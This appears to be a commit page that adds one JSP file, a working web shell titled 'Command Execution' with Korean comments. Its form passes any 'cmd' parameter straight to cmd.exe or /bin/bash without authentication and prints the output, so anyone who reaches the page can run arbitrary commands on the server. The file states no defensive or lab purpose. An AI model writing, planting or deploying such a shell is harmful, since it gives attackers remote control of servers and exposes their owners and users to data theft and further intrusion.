commit
4b3698ef96
1 changed files with 55 additions and 0 deletions
@ -0,0 +1,55 @@
|
||||
<%@ page import="java.io.*, java.nio.charset.StandardCharsets" %> |
||||
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> |
||||
<!DOCTYPE html> |
||||
<html> |
||||
<head> |
||||
<meta charset="UTF-8"> |
||||
<title>Command Execution</title> |
||||
</head> |
||||
<body> |
||||
<form method="GET" name="cmdForm" action=""> |
||||
<input type="text" name="cmd"> |
||||
<input type="submit" value="Execute"> |
||||
</form> |
||||
<div> |
||||
<% |
||||
if (request.getParameter("cmd") != null) |
||||
{ |
||||
String osName = System.getProperty("os.name").toLowerCase(); |
||||
String command = request.getParameter("cmd"); |
||||
out.println("<strong>"+"명령어 : " + request.getParameter("cmd") + "</strong>" + "<br><br>"); |
||||
// Windows인 경우 |
||||
if (osName.indexOf("windows") != -1) { |
||||
String[] cmdArray = {"cmd.exe", "/C", command}; |
||||
ProcessBuilder pb = new ProcessBuilder(cmdArray); |
||||
pb.redirectErrorStream(true); |
||||
Process process = pb.start(); |
||||
|
||||
InputStreamReader in = new InputStreamReader(process.getInputStream(), StandardCharsets.UTF_8); |
||||
BufferedReader br = new BufferedReader(in); |
||||
|
||||
String line; |
||||
while ((line = br.readLine()) != null) { |
||||
out.println(line +"<br>"); |
||||
} |
||||
} |
||||
// 다른 OS인 경우 (Linux, macOS 등) |
||||
else { |
||||
String[] cmdArray = {"/bin/bash", "-c", command}; |
||||
ProcessBuilder pb = new ProcessBuilder(cmdArray); |
||||
pb.redirectErrorStream(true); |
||||
Process process = pb.start(); |
||||
|
||||
InputStreamReader in = new InputStreamReader(process.getInputStream(), StandardCharsets.UTF_8); |
||||
BufferedReader br = new BufferedReader(in); |
||||
|
||||
String line; |
||||
while ((line = br.readLine()) != null) { |
||||
out.println(line +"<br>"); |
||||
} |
||||
} |
||||
} |
||||
%> |
||||
</div> |
||||
</body> |
||||
</html> |
Loading…
Reference in new issue